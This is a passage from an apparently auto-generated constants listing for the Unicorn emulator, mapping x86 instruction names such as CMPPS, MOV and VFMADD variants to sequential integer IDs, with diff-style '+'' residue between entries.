UC_X86_INS_CMPPS = 97 +' UC_X86_INS_CMPSB = 98 +' UC_X86_INS_CMPSD = 99 +' UC_X86_INS_CMPSQ = 100 +' UC_X86_INS_CMPSS = 101 +' UC_X86_INS_CMPSW = 102 +' UC_X86_INS_CMPXCHG16B = 103 +' UC_X86_INS_CMPXCHG = 104 +' UC_X86_INS_CMPXCHG8B = 105 +' UC_X86_INS_COMISD = 106 +' UC_X86_INS_COMISS = 107 +' UC_X86_INS_FCOMP = 108 +' UC_X86_INS_FCOMPI = 109 +' UC_X86_INS_FCOMI = 110 +' UC_X86_INS_FCOM = 111 +' UC_X86_INS_FCOS = 112 +' UC_X86_INS_CPUID = 113 +' UC_X86_INS_CQO = 114 +' UC_X86_INS_CRC32 = 115 +' UC_X86_INS_CVTDQ2PD = 116 +' UC_X86_INS_CVTDQ2PS = 117 +' UC_X86_INS_CVTPD2DQ = 118 +' UC_X86_INS_CVTPD2PS = 119 +' UC_X86_INS_CVTPS2DQ = 120 +' UC_X86_INS_CVTPS2PD = 121 +' UC_X86_INS_CVTSD2SI = 122 +' UC_X86_INS_CVTSD2SS = 123 +' UC_X86_INS_CVTSI2SD = 124 +' UC_X86_INS_CVTSI2SS = 125 +' UC_X86_INS_CVTSS2SD = 126 +' UC_X86_INS_CVTSS2SI = 127 +' UC_X86_INS_CVTTPD2DQ = 128 +' UC_X86_INS_CVTTPS2DQ = 129 +' UC_X86_INS_CVTTSD2SI = 130 +' UC_X86_INS_CVTTSS2SI = 131 +' UC_X86_INS_CWD = 132 +' UC_X86_INS_CWDE = 133 +' UC_X86_INS_DAA = 134 +' UC_X86_INS_DAS = 135 +' UC_X86_INS_DATA16 = 136 +' UC_X86_INS_DEC = 137 +' UC_X86_INS_DIV = 138 +' UC_X86_INS_DIVPD = 139 +' UC_X86_INS_DIVPS = 140 +' UC_X86_INS_FDIVR = 141 +' UC_X86_INS_FIDIVR = 142 +' UC_X86_INS_FDIVRP = 143 +' UC_X86_INS_DIVSD = 144 +' UC_X86_INS_DIVSS = 145 +' UC_X86_INS_FDIV = 146 +' UC_X86_INS_FIDIV = 147 +' UC_X86_INS_FDIVP = 148 +' UC_X86_INS_DPPD = 149 +' UC_X86_INS_DPPS = 150 +' UC_X86_INS_RET = 151 +' UC_X86_INS_ENCLS = 152 +' UC_X86_INS_ENCLU = 153 +' UC_X86_INS_ENTER = 154 +' UC_X86_INS_EXTRACTPS = 155 +' UC_X86_INS_EXTRQ = 156 +' UC_X86_INS_F2XM1 = 157 +' UC_X86_INS_LCALL = 158 +' UC_X86_INS_LJMP = 159 +' UC_X86_INS_FBLD = 160 +' UC_X86_INS_FBSTP = 161 +' UC_X86_INS_FCOMPP = 162 +' UC_X86_INS_FDECSTP = 163 +' UC_X86_INS_FEMMS = 164 +' UC_X86_INS_FFREE = 165 +' UC_X86_INS_FICOM = 166 +' UC_X86_INS_FICOMP = 167 +' UC_X86_INS_FINCSTP = 168 +' UC_X86_INS_FLDCW = 169 +' UC_X86_INS_FLDENV = 170 +' UC_X86_INS_FLDL2E = 171 +' UC_X86_INS_FLDL2T = 172 +' UC_X86_INS_FLDLG2 = 173 +' UC_X86_INS_FLDLN2 = 174 +' UC_X86_INS_FLDPI = 175 +' UC_X86_INS_FNCLEX = 176 +' UC_X86_INS_FNINIT = 177 +' UC_X86_INS_FNOP = 178 +' UC_X86_INS_FNSTCW = 179 +' UC_X86_INS_FNSTSW = 180 +' UC_X86_INS_FPATAN = 181 +' UC_X86_INS_FPREM = 182 +' UC_X86_INS_FPREM1 = 183 +' UC_X86_INS_FPTAN = 184 +' UC_X86_INS_FFREEP = 185 +' UC_X86_INS_FRNDINT = 186 +' UC_X86_INS_FRSTOR = 187 +' UC_X86_INS_FNSAVE = 188 +' UC_X86_INS_FSCALE = 189 +' UC_X86_INS_FSETPM = 190 +' UC_X86_INS_FSINCOS = 191 +' UC_X86_INS_FNSTENV = 192 +' UC_X86_INS_FXAM = 193 +' UC_X86_INS_FXRSTOR = 194 +' UC_X86_INS_FXRSTOR64 = 195 +' UC_X86_INS_FXSAVE = 196 +' UC_X86_INS_FXSAVE64 = 197 +' UC_X86_INS_FXTRACT = 198 +' UC_X86_INS_FYL2X = 199 +' UC_X86_INS_FYL2XP1 = 200 +' UC_X86_INS_MOVAPD = 201 +' UC_X86_INS_MOVAPS = 202 +' UC_X86_INS_ORPD = 203 +' UC_X86_INS_ORPS = 204 +' UC_X86_INS_VMOVAPD = 205 +' UC_X86_INS_VMOVAPS = 206 +' UC_X86_INS_XORPD = 207 +' UC_X86_INS_XORPS = 208 +' UC_X86_INS_GETSEC = 209 +' UC_X86_INS_HADDPD = 210 +' UC_X86_INS_HADDPS = 211 +' UC_X86_INS_HLT = 212 +' UC_X86_INS_HSUBPD = 213 +' UC_X86_INS_HSUBPS = 214 +' UC_X86_INS_IDIV = 215 +' UC_X86_INS_FILD = 216 +' UC_X86_INS_IMUL = 217 +' UC_X86_INS_IN = 218 +' UC_X86_INS_INC = 219 +' UC_X86_INS_INSB = 220 +' UC_X86_INS_INSERTPS = 221 +' UC_X86_INS_INSERTQ = 222 +' UC_X86_INS_INSD = 223 +' UC_X86_INS_INSW = 224 +' UC_X86_INS_INT = 225 +' UC_X86_INS_INT1 = 226 +' UC_X86_INS_INT3 = 227 +' UC_X86_INS_INTO = 228 +' UC_X86_INS_INVD = 229 +' UC_X86_INS_INVEPT = 230 +' UC_X86_INS_INVLPG = 231 +' UC_X86_INS_INVLPGA = 232 +' UC_X86_INS_INVPCID = 233 +' UC_X86_INS_INVVPID = 234 +' UC_X86_INS_IRET = 235 +' UC_X86_INS_IRETD = 236 +' UC_X86_INS_IRETQ = 237 +' UC_X86_INS_FISTTP = 238 +' UC_X86_INS_FIST = 239 +' UC_X86_INS_FISTP = 240 +' UC_X86_INS_UCOMISD = 241 +' UC_X86_INS_UCOMISS = 242 +' UC_X86_INS_VCOMISD = 243 +' UC_X86_INS_VCOMISS = 244 +' UC_X86_INS_VCVTSD2SS = 245 +' UC_X86_INS_VCVTSI2SD = 246 +' UC_X86_INS_VCVTSI2SS = 247 +' UC_X86_INS_VCVTSS2SD = 248 +' UC_X86_INS_VCVTTSD2SI = 249 +' UC_X86_INS_VCVTTSD2USI = 250 +' UC_X86_INS_VCVTTSS2SI = 251 +' UC_X86_INS_VCVTTSS2USI = 252 +' UC_X86_INS_VCVTUSI2SD = 253 +' UC_X86_INS_VCVTUSI2SS = 254 +' UC_X86_INS_VUCOMISD = 255 +' UC_X86_INS_VUCOMISS = 256 +' UC_X86_INS_JAE = 257 +' UC_X86_INS_JA = 258 +' UC_X86_INS_JBE = 259 +' UC_X86_INS_JB = 260 +' UC_X86_INS_JCXZ = 261 +' UC_X86_INS_JECXZ = 262 +' UC_X86_INS_JE = 263 +' UC_X86_INS_JGE = 264 +' UC_X86_INS_JG = 265 +' UC_X86_INS_JLE = 266 +' UC_X86_INS_JL = 267 +' UC_X86_INS_JMP = 268 +' UC_X86_INS_JNE = 269 +' UC_X86_INS_JNO = 270 +' UC_X86_INS_JNP = 271 +' UC_X86_INS_JNS = 272 +' UC_X86_INS_JO = 273 +' UC_X86_INS_JP = 274 +' UC_X86_INS_JRCXZ = 275 +' UC_X86_INS_JS = 276 +' UC_X86_INS_KANDB = 277 +' UC_X86_INS_KANDD = 278 +' UC_X86_INS_KANDNB = 279 +' UC_X86_INS_KANDND = 280 +' UC_X86_INS_KANDNQ = 281 +' UC_X86_INS_KANDNW = 282 +' UC_X86_INS_KANDQ = 283 +' UC_X86_INS_KANDW = 284 +' UC_X86_INS_KMOVB = 285 +' UC_X86_INS_KMOVD = 286 +' UC_X86_INS_KMOVQ = 287 +' UC_X86_INS_KMOVW = 288 +' UC_X86_INS_KNOTB = 289 +' UC_X86_INS_KNOTD = 290 +' UC_X86_INS_KNOTQ = 291 +' UC_X86_INS_KNOTW = 292 +' UC_X86_INS_KORB = 293 +' UC_X86_INS_KORD = 294 +' UC_X86_INS_KORQ = 295 +' UC_X86_INS_KORTESTB = 296 +' UC_X86_INS_KORTESTD = 297 +' UC_X86_INS_KORTESTQ = 298 +' UC_X86_INS_KORTESTW = 299 +' UC_X86_INS_KORW = 300 +' UC_X86_INS_KSHIFTLB = 301 +' UC_X86_INS_KSHIFTLD = 302 +' UC_X86_INS_KSHIFTLQ = 303 +' UC_X86_INS_KSHIFTLW = 304 +' UC_X86_INS_KSHIFTRB = 305 +' UC_X86_INS_KSHIFTRD = 306 +' UC_X86_INS_KSHIFTRQ = 307 +' UC_X86_INS_KSHIFTRW = 308 +' UC_X86_INS_KUNPCKBW = 309 +' UC_X86_INS_KXNORB = 310 +' UC_X86_INS_KXNORD = 311 +' UC_X86_INS_KXNORQ = 312 +' UC_X86_INS_KXNORW = 313 +' UC_X86_INS_KXORB = 314 +' UC_X86_INS_KXORD = 315 +' UC_X86_INS_KXORQ = 316 +' UC_X86_INS_KXORW = 317 +' UC_X86_INS_LAHF = 318 +' UC_X86_INS_LAR = 319 +' UC_X86_INS_LDDQU = 320 +' UC_X86_INS_LDMXCSR = 321 +' UC_X86_INS_LDS = 322 +' UC_X86_INS_FLDZ = 323 +' UC_X86_INS_FLD1 = 324 +' UC_X86_INS_FLD = 325 +' UC_X86_INS_LEA = 326 +' UC_X86_INS_LEAVE = 327 +' UC_X86_INS_LES = 328 +' UC_X86_INS_LFENCE = 329 +' UC_X86_INS_LFS = 330 +' UC_X86_INS_LGDT = 331 +' UC_X86_INS_LGS = 332 +' UC_X86_INS_LIDT = 333 +' UC_X86_INS_LLDT = 334 +' UC_X86_INS_LMSW = 335 +' UC_X86_INS_OR = 336 +' UC_X86_INS_SUB = 337 +' UC_X86_INS_XOR = 338 +' UC_X86_INS_LODSB = 339 +' UC_X86_INS_LODSD = 340 +' UC_X86_INS_LODSQ = 341 +' UC_X86_INS_LODSW = 342 +' UC_X86_INS_LOOP = 343 +' UC_X86_INS_LOOPE = 344 +' UC_X86_INS_LOOPNE = 345 +' UC_X86_INS_RETF = 346 +' UC_X86_INS_RETFQ = 347 +' UC_X86_INS_LSL = 348 +' UC_X86_INS_LSS = 349 +' UC_X86_INS_LTR = 350 +' UC_X86_INS_XADD = 351 +' UC_X86_INS_LZCNT = 352 +' UC_X86_INS_MASKMOVDQU = 353 +' UC_X86_INS_MAXPD = 354 +' UC_X86_INS_MAXPS = 355 +' UC_X86_INS_MAXSD = 356 +' UC_X86_INS_MAXSS = 357 +' UC_X86_INS_MFENCE = 358 +' UC_X86_INS_MINPD = 359 +' UC_X86_INS_MINPS = 360 +' UC_X86_INS_MINSD = 361 +' UC_X86_INS_MINSS = 362 +' UC_X86_INS_CVTPD2PI = 363 +' UC_X86_INS_CVTPI2PD = 364 +' UC_X86_INS_CVTPI2PS = 365 +' UC_X86_INS_CVTPS2PI = 366 +' UC_X86_INS_CVTTPD2PI = 367 +' UC_X86_INS_CVTTPS2PI = 368 +' UC_X86_INS_EMMS = 369 +' UC_X86_INS_MASKMOVQ = 370 +' UC_X86_INS_MOVD = 371 +' UC_X86_INS_MOVDQ2Q = 372 +' UC_X86_INS_MOVNTQ = 373 +' UC_X86_INS_MOVQ2DQ = 374 +' UC_X86_INS_MOVQ = 375 +' UC_X86_INS_PABSB = 376 +' UC_X86_INS_PABSD = 377 +' UC_X86_INS_PABSW = 378 +' UC_X86_INS_PACKSSDW = 379 +' UC_X86_INS_PACKSSWB = 380 +' UC_X86_INS_PACKUSWB = 381 +' UC_X86_INS_PADDB = 382 +' UC_X86_INS_PADDD = 383 +' UC_X86_INS_PADDQ = 384 +' UC_X86_INS_PADDSB = 385 +' UC_X86_INS_PADDSW = 386 +' UC_X86_INS_PADDUSB = 387 +' UC_X86_INS_PADDUSW = 388 +' UC_X86_INS_PADDW = 389 +' UC_X86_INS_PALIGNR = 390 +' UC_X86_INS_PANDN = 391 +' UC_X86_INS_PAND = 392 +' UC_X86_INS_PAVGB = 393 +' UC_X86_INS_PAVGW = 394 +' UC_X86_INS_PCMPEQB = 395 +' UC_X86_INS_PCMPEQD = 396 +' UC_X86_INS_PCMPEQW = 397 +' UC_X86_INS_PCMPGTB = 398 +' UC_X86_INS_PCMPGTD = 399 +' UC_X86_INS_PCMPGTW = 400 +' UC_X86_INS_PEXTRW = 401 +' UC_X86_INS_PHADDSW = 402 +' UC_X86_INS_PHADDW = 403 +' UC_X86_INS_PHADDD = 404 +' UC_X86_INS_PHSUBD = 405 +' UC_X86_INS_PHSUBSW = 406 +' UC_X86_INS_PHSUBW = 407 +' UC_X86_INS_PINSRW = 408 +' UC_X86_INS_PMADDUBSW = 409 +' UC_X86_INS_PMADDWD = 410 +' UC_X86_INS_PMAXSW = 411 +' UC_X86_INS_PMAXUB = 412 +' UC_X86_INS_PMINSW = 413 +' UC_X86_INS_PMINUB = 414 +' UC_X86_INS_PMOVMSKB = 415 +' UC_X86_INS_PMULHRSW = 416 +' UC_X86_INS_PMULHUW = 417 +' UC_X86_INS_PMULHW = 418 +' UC_X86_INS_PMULLW = 419 +' UC_X86_INS_PMULUDQ = 420 +' UC_X86_INS_POR = 421 +' UC_X86_INS_PSADBW = 422 +' UC_X86_INS_PSHUFB = 423 +' UC_X86_INS_PSHUFW = 424 +' UC_X86_INS_PSIGNB = 425 +' UC_X86_INS_PSIGND = 426 +' UC_X86_INS_PSIGNW = 427 +' UC_X86_INS_PSLLD = 428 +' UC_X86_INS_PSLLQ = 429 +' UC_X86_INS_PSLLW = 430 +' UC_X86_INS_PSRAD = 431 +' UC_X86_INS_PSRAW = 432 +' UC_X86_INS_PSRLD = 433 +' UC_X86_INS_PSRLQ = 434 +' UC_X86_INS_PSRLW = 435 +' UC_X86_INS_PSUBB = 436 +' UC_X86_INS_PSUBD = 437 +' UC_X86_INS_PSUBQ = 438 +' UC_X86_INS_PSUBSB = 439 +' UC_X86_INS_PSUBSW = 440 +' UC_X86_INS_PSUBUSB = 441 +' UC_X86_INS_PSUBUSW = 442 +' UC_X86_INS_PSUBW = 443 +' UC_X86_INS_PUNPCKHBW = 444 +' UC_X86_INS_PUNPCKHDQ = 445 +' UC_X86_INS_PUNPCKHWD = 446 +' UC_X86_INS_PUNPCKLBW = 447 +' UC_X86_INS_PUNPCKLDQ = 448 +' UC_X86_INS_PUNPCKLWD = 449 +' UC_X86_INS_PXOR = 450 +' UC_X86_INS_MONITOR = 451 +' UC_X86_INS_MONTMUL = 452 +' UC_X86_INS_MOV = 453 +' UC_X86_INS_MOVABS = 454 +' UC_X86_INS_MOVBE = 455 +' UC_X86_INS_MOVDDUP = 456 +' UC_X86_INS_MOVDQA = 457 +' UC_X86_INS_MOVDQU = 458 +' UC_X86_INS_MOVHLPS = 459 +' UC_X86_INS_MOVHPD = 460 +' UC_X86_INS_MOVHPS = 461 +' UC_X86_INS_MOVLHPS = 462 +' UC_X86_INS_MOVLPD = 463 +' UC_X86_INS_MOVLPS = 464 +' UC_X86_INS_MOVMSKPD = 465 +' UC_X86_INS_MOVMSKPS = 466 +' UC_X86_INS_MOVNTDQA = 467 +' UC_X86_INS_MOVNTDQ = 468 +' UC_X86_INS_MOVNTI = 469 +' UC_X86_INS_MOVNTPD = 470 +' UC_X86_INS_MOVNTPS = 471 +' UC_X86_INS_MOVNTSD = 472 +' UC_X86_INS_MOVNTSS = 473 +' UC_X86_INS_MOVSB = 474 +' UC_X86_INS_MOVSD = 475 +' UC_X86_INS_MOVSHDUP = 476 +' UC_X86_INS_MOVSLDUP = 477 +' UC_X86_INS_MOVSQ = 478 +' UC_X86_INS_MOVSS = 479 +' UC_X86_INS_MOVSW = 480 +' UC_X86_INS_MOVSX = 481 +' UC_X86_INS_MOVSXD = 482 +' UC_X86_INS_MOVUPD = 483 +' UC_X86_INS_MOVUPS = 484 +' UC_X86_INS_MOVZX = 485 +' UC_X86_INS_MPSADBW = 486 +' UC_X86_INS_MUL = 487 +' UC_X86_INS_MULPD = 488 +' UC_X86_INS_MULPS = 489 +' UC_X86_INS_MULSD = 490 +' UC_X86_INS_MULSS = 491 +' UC_X86_INS_MULX = 492 +' UC_X86_INS_FMUL = 493 +' UC_X86_INS_FIMUL = 494 +' UC_X86_INS_FMULP = 495 +' UC_X86_INS_MWAIT = 496 +' UC_X86_INS_NEG = 497 +' UC_X86_INS_NOP = 498 +' UC_X86_INS_NOT = 499 +' UC_X86_INS_OUT = 500 +' UC_X86_INS_OUTSB = 501 +' UC_X86_INS_OUTSD = 502 +' UC_X86_INS_OUTSW = 503 +' UC_X86_INS_PACKUSDW = 504 +' UC_X86_INS_PAUSE = 505 +' UC_X86_INS_PAVGUSB = 506 +' UC_X86_INS_PBLENDVB = 507 +' UC_X86_INS_PBLENDW = 508 +' UC_X86_INS_PCLMULQDQ = 509 +' UC_X86_INS_PCMPEQQ = 510 +' UC_X86_INS_PCMPESTRI = 511 +' UC_X86_INS_PCMPESTRM = 512 +' UC_X86_INS_PCMPGTQ = 513 +' UC_X86_INS_PCMPISTRI = 514 +' UC_X86_INS_PCMPISTRM = 515 +' UC_X86_INS_PCOMMIT = 516 +' UC_X86_INS_PDEP = 517 +' UC_X86_INS_PEXT = 518 +' UC_X86_INS_PEXTRB = 519 +' UC_X86_INS_PEXTRD = 520 +' UC_X86_INS_PEXTRQ = 521 +' UC_X86_INS_PF2ID = 522 +' UC_X86_INS_PF2IW = 523 +' UC_X86_INS_PFACC = 524 +' UC_X86_INS_PFADD = 525 +' UC_X86_INS_PFCMPEQ = 526 +' UC_X86_INS_PFCMPGE = 527 +' UC_X86_INS_PFCMPGT = 528 +' UC_X86_INS_PFMAX = 529 +' UC_X86_INS_PFMIN = 530 +' UC_X86_INS_PFMUL = 531 +' UC_X86_INS_PFNACC = 532 +' UC_X86_INS_PFPNACC = 533 +' UC_X86_INS_PFRCPIT1 = 534 +' UC_X86_INS_PFRCPIT2 = 535 +' UC_X86_INS_PFRCP = 536 +' UC_X86_INS_PFRSQIT1 = 537 +' UC_X86_INS_PFRSQRT = 538 +' UC_X86_INS_PFSUBR = 539 +' UC_X86_INS_PFSUB = 540 +' UC_X86_INS_PHMINPOSUW = 541 +' UC_X86_INS_PI2FD = 542 +' UC_X86_INS_PI2FW = 543 +' UC_X86_INS_PINSRB = 544 +' UC_X86_INS_PINSRD = 545 +' UC_X86_INS_PINSRQ = 546 +' UC_X86_INS_PMAXSB = 547 +' UC_X86_INS_PMAXSD = 548 +' UC_X86_INS_PMAXUD = 549 +' UC_X86_INS_PMAXUW = 550 +' UC_X86_INS_PMINSB = 551 +' UC_X86_INS_PMINSD = 552 +' UC_X86_INS_PMINUD = 553 +' UC_X86_INS_PMINUW = 554 +' UC_X86_INS_PMOVSXBD = 555 +' UC_X86_INS_PMOVSXBQ = 556 +' UC_X86_INS_PMOVSXBW = 557 +' UC_X86_INS_PMOVSXDQ = 558 +' UC_X86_INS_PMOVSXWD = 559 +' UC_X86_INS_PMOVSXWQ = 560 +' UC_X86_INS_PMOVZXBD = 561 +' UC_X86_INS_PMOVZXBQ = 562 +' UC_X86_INS_PMOVZXBW = 563 +' UC_X86_INS_PMOVZXDQ = 564 +' UC_X86_INS_PMOVZXWD = 565 +' UC_X86_INS_PMOVZXWQ = 566 +' UC_X86_INS_PMULDQ = 567 +' UC_X86_INS_PMULHRW = 568 +' UC_X86_INS_PMULLD = 569 +' UC_X86_INS_POP = 570 +' UC_X86_INS_POPAW = 571 +' UC_X86_INS_POPAL = 572 +' UC_X86_INS_POPCNT = 573 +' UC_X86_INS_POPF = 574 +' UC_X86_INS_POPFD = 575 +' UC_X86_INS_POPFQ = 576 +' UC_X86_INS_PREFETCH = 577 +' UC_X86_INS_PREFETCHNTA = 578 +' UC_X86_INS_PREFETCHT0 = 579 +' UC_X86_INS_PREFETCHT1 = 580 +' UC_X86_INS_PREFETCHT2 = 581 +' UC_X86_INS_PREFETCHW = 582 +' UC_X86_INS_PSHUFD = 583 +' UC_X86_INS_PSHUFHW = 584 +' UC_X86_INS_PSHUFLW = 585 +' UC_X86_INS_PSLLDQ = 586 +' UC_X86_INS_PSRLDQ = 587 +' UC_X86_INS_PSWAPD = 588 +' UC_X86_INS_PTEST = 589 +' UC_X86_INS_PUNPCKHQDQ = 590 +' UC_X86_INS_PUNPCKLQDQ = 591 +' UC_X86_INS_PUSH = 592 +' UC_X86_INS_PUSHAW = 593 +' UC_X86_INS_PUSHAL = 594 +' UC_X86_INS_PUSHF = 595 +' UC_X86_INS_PUSHFD = 596 +' UC_X86_INS_PUSHFQ = 597 +' UC_X86_INS_RCL = 598 +' UC_X86_INS_RCPPS = 599 +' UC_X86_INS_RCPSS = 600 +' UC_X86_INS_RCR = 601 +' UC_X86_INS_RDFSBASE = 602 +' UC_X86_INS_RDGSBASE = 603 +' UC_X86_INS_RDMSR = 604 +' UC_X86_INS_RDPMC = 605 +' UC_X86_INS_RDRAND = 606 +' UC_X86_INS_RDSEED = 607 +' UC_X86_INS_RDTSC = 608 +' UC_X86_INS_RDTSCP = 609 +' UC_X86_INS_ROL = 610 +' UC_X86_INS_ROR = 611 +' UC_X86_INS_RORX = 612 +' UC_X86_INS_ROUNDPD = 613 +' UC_X86_INS_ROUNDPS = 614 +' UC_X86_INS_ROUNDSD = 615 +' UC_X86_INS_ROUNDSS = 616 +' UC_X86_INS_RSM = 617 +' UC_X86_INS_RSQRTPS = 618 +' UC_X86_INS_RSQRTSS = 619 +' UC_X86_INS_SAHF = 620 +' UC_X86_INS_SAL = 621 +' UC_X86_INS_SALC = 622 +' UC_X86_INS_SAR = 623 +' UC_X86_INS_SARX = 624 +' UC_X86_INS_SBB = 625 +' UC_X86_INS_SCASB = 626 +' UC_X86_INS_SCASD = 627 +' UC_X86_INS_SCASQ = 628 +' UC_X86_INS_SCASW = 629 +' UC_X86_INS_SETAE = 630 +' UC_X86_INS_SETA = 631 +' UC_X86_INS_SETBE = 632 +' UC_X86_INS_SETB = 633 +' UC_X86_INS_SETE = 634 +' UC_X86_INS_SETGE = 635 +' UC_X86_INS_SETG = 636 +' UC_X86_INS_SETLE = 637 +' UC_X86_INS_SETL = 638 +' UC_X86_INS_SETNE = 639 +' UC_X86_INS_SETNO = 640 +' UC_X86_INS_SETNP = 641 +' UC_X86_INS_SETNS = 642 +' UC_X86_INS_SETO = 643 +' UC_X86_INS_SETP = 644 +' UC_X86_INS_SETS = 645 +' UC_X86_INS_SFENCE = 646 +' UC_X86_INS_SGDT = 647 +' UC_X86_INS_SHA1MSG1 = 648 +' UC_X86_INS_SHA1MSG2 = 649 +' UC_X86_INS_SHA1NEXTE = 650 +' UC_X86_INS_SHA1RNDS4 = 651 +' UC_X86_INS_SHA256MSG1 = 652 +' UC_X86_INS_SHA256MSG2 = 653 +' UC_X86_INS_SHA256RNDS2 = 654 +' UC_X86_INS_SHL = 655 +' UC_X86_INS_SHLD = 656 +' UC_X86_INS_SHLX = 657 +' UC_X86_INS_SHR = 658 +' UC_X86_INS_SHRD = 659 +' UC_X86_INS_SHRX = 660 +' UC_X86_INS_SHUFPD = 661 +' UC_X86_INS_SHUFPS = 662 +' UC_X86_INS_SIDT = 663 +' UC_X86_INS_FSIN = 664 +' UC_X86_INS_SKINIT = 665 +' UC_X86_INS_SLDT = 666 +' UC_X86_INS_SMSW = 667 +' UC_X86_INS_SQRTPD = 668 +' UC_X86_INS_SQRTPS = 669 +' UC_X86_INS_SQRTSD = 670 +' UC_X86_INS_SQRTSS = 671 +' UC_X86_INS_FSQRT = 672 +' UC_X86_INS_STAC = 673 +' UC_X86_INS_STC = 674 +' UC_X86_INS_STD = 675 +' UC_X86_INS_STGI = 676 +' UC_X86_INS_STI = 677 +' UC_X86_INS_STMXCSR = 678 +' UC_X86_INS_STOSB = 679 +' UC_X86_INS_STOSD = 680 +' UC_X86_INS_STOSQ = 681 +' UC_X86_INS_STOSW = 682 +' UC_X86_INS_STR = 683 +' UC_X86_INS_FST = 684 +' UC_X86_INS_FSTP = 685 +' UC_X86_INS_FSTPNCE = 686 +' UC_X86_INS_FXCH = 687 +' UC_X86_INS_SUBPD = 688 +' UC_X86_INS_SUBPS = 689 +' UC_X86_INS_FSUBR = 690 +' UC_X86_INS_FISUBR = 691 +' UC_X86_INS_FSUBRP = 692 +' UC_X86_INS_SUBSD = 693 +' UC_X86_INS_SUBSS = 694 +' UC_X86_INS_FSUB = 695 +' UC_X86_INS_FISUB = 696 +' UC_X86_INS_FSUBP = 697 +' UC_X86_INS_SWAPGS = 698 +' UC_X86_INS_SYSCALL = 699 +' UC_X86_INS_SYSENTER = 700 +' UC_X86_INS_SYSEXIT = 701 +' UC_X86_INS_SYSRET = 702 +' UC_X86_INS_T1MSKC = 703 +' UC_X86_INS_TEST = 704 +' UC_X86_INS_UD2 = 705 +' UC_X86_INS_FTST = 706 +' UC_X86_INS_TZCNT = 707 +' UC_X86_INS_TZMSK = 708 +' UC_X86_INS_FUCOMPI = 709 +' UC_X86_INS_FUCOMI = 710 +' UC_X86_INS_FUCOMPP = 711 +' UC_X86_INS_FUCOMP = 712 +' UC_X86_INS_FUCOM = 713 +' UC_X86_INS_UD2B = 714 +' UC_X86_INS_UNPCKHPD = 715 +' UC_X86_INS_UNPCKHPS = 716 +' UC_X86_INS_UNPCKLPD = 717 +' UC_X86_INS_UNPCKLPS = 718 +' UC_X86_INS_VADDPD = 719 +' UC_X86_INS_VADDPS = 720 +' UC_X86_INS_VADDSD = 721 +' UC_X86_INS_VADDSS = 722 +' UC_X86_INS_VADDSUBPD = 723 +' UC_X86_INS_VADDSUBPS = 724 +' UC_X86_INS_VAESDECLAST = 725 +' UC_X86_INS_VAESDEC = 726 +' UC_X86_INS_VAESENCLAST = 727 +' UC_X86_INS_VAESENC = 728 +' UC_X86_INS_VAESIMC = 729 +' UC_X86_INS_VAESKEYGENASSIST = 730 +' UC_X86_INS_VALIGND = 731 +' UC_X86_INS_VALIGNQ = 732 +' UC_X86_INS_VANDNPD = 733 +' UC_X86_INS_VANDNPS = 734 +' UC_X86_INS_VANDPD = 735 +' UC_X86_INS_VANDPS = 736 +' UC_X86_INS_VBLENDMPD = 737 +' UC_X86_INS_VBLENDMPS = 738 +' UC_X86_INS_VBLENDPD = 739 +' UC_X86_INS_VBLENDPS = 740 +' UC_X86_INS_VBLENDVPD = 741 +' UC_X86_INS_VBLENDVPS = 742 +' UC_X86_INS_VBROADCASTF128 = 743 +' UC_X86_INS_VBROADCASTI32X4 = 744 +' UC_X86_INS_VBROADCASTI64X4 = 745 +' UC_X86_INS_VBROADCASTSD = 746 +' UC_X86_INS_VBROADCASTSS = 747 +' UC_X86_INS_VCMPPD = 748 +' UC_X86_INS_VCMPPS = 749 +' UC_X86_INS_VCMPSD = 750 +' UC_X86_INS_VCMPSS = 751 +' UC_X86_INS_VCOMPRESSPD = 752 +' UC_X86_INS_VCOMPRESSPS = 753 +' UC_X86_INS_VCVTDQ2PD = 754 +' UC_X86_INS_VCVTDQ2PS = 755 +' UC_X86_INS_VCVTPD2DQX = 756 +' UC_X86_INS_VCVTPD2DQ = 757 +' UC_X86_INS_VCVTPD2PSX = 758 +' UC_X86_INS_VCVTPD2PS = 759 +' UC_X86_INS_VCVTPD2UDQ = 760 +' UC_X86_INS_VCVTPH2PS = 761 +' UC_X86_INS_VCVTPS2DQ = 762 +' UC_X86_INS_VCVTPS2PD = 763 +' UC_X86_INS_VCVTPS2PH = 764 +' UC_X86_INS_VCVTPS2UDQ = 765 +' UC_X86_INS_VCVTSD2SI = 766 +' UC_X86_INS_VCVTSD2USI = 767 +' UC_X86_INS_VCVTSS2SI = 768 +' UC_X86_INS_VCVTSS2USI = 769 +' UC_X86_INS_VCVTTPD2DQX = 770 +' UC_X86_INS_VCVTTPD2DQ = 771 +' UC_X86_INS_VCVTTPD2UDQ = 772 +' UC_X86_INS_VCVTTPS2DQ = 773 +' UC_X86_INS_VCVTTPS2UDQ = 774 +' UC_X86_INS_VCVTUDQ2PD = 775 +' UC_X86_INS_VCVTUDQ2PS = 776 +' UC_X86_INS_VDIVPD = 777 +' UC_X86_INS_VDIVPS = 778 +' UC_X86_INS_VDIVSD = 779 +' UC_X86_INS_VDIVSS = 780 +' UC_X86_INS_VDPPD = 781 +' UC_X86_INS_VDPPS = 782 +' UC_X86_INS_VERR = 783 +' UC_X86_INS_VERW = 784 +' UC_X86_INS_VEXP2PD = 785 +' UC_X86_INS_VEXP2PS = 786 +' UC_X86_INS_VEXPANDPD = 787 +' UC_X86_INS_VEXPANDPS = 788 +' UC_X86_INS_VEXTRACTF128 = 789 +' UC_X86_INS_VEXTRACTF32X4 = 790 +' UC_X86_INS_VEXTRACTF64X4 = 791 +' UC_X86_INS_VEXTRACTI128 = 792 +' UC_X86_INS_VEXTRACTI32X4 = 793 +' UC_X86_INS_VEXTRACTI64X4 = 794 +' UC_X86_INS_VEXTRACTPS = 795 +' UC_X86_INS_VFMADD132PD = 796 +' UC_X86_INS_VFMADD132PS = 797 +' UC_X86_INS_VFMADDPD = 798 +' UC_X86_INS_VFMADD213PD = 799 +' UC_X86_INS_VFMADD231PD = 800 +' UC_X86_INS_VFMADDPS = 801 +' UC_X86_INS_VFMADD213PS = 802 +' UC_X86_INS_VFMADD231PS = 803 +' UC_X86_INS_VFMADDSD = 804 +' UC_X86_INS_VFMADD213SD = 805 +' UC_X86_INS_VFMADD132SD = 806 +' UC_X86_INS_VFMADD231SD = 807 +' UC_X86_INS_VFMADDSS = 808 +' UC_X86_INS_VFMADD213SS = 809 +' UC_X86_INS_VFMADD132SS = 810 +' UC_X86_INS_VFMADD231SS = 811 +' UC_X86_INS_VFMADDSUB132PD = 812 +' UC_X86_INS_VFMADDSUB132PS = 813 +' UC_X86_INS_VFMADDSUBPD = 814 +' UC_X86_INS_VFMADDSUB213PD = 815 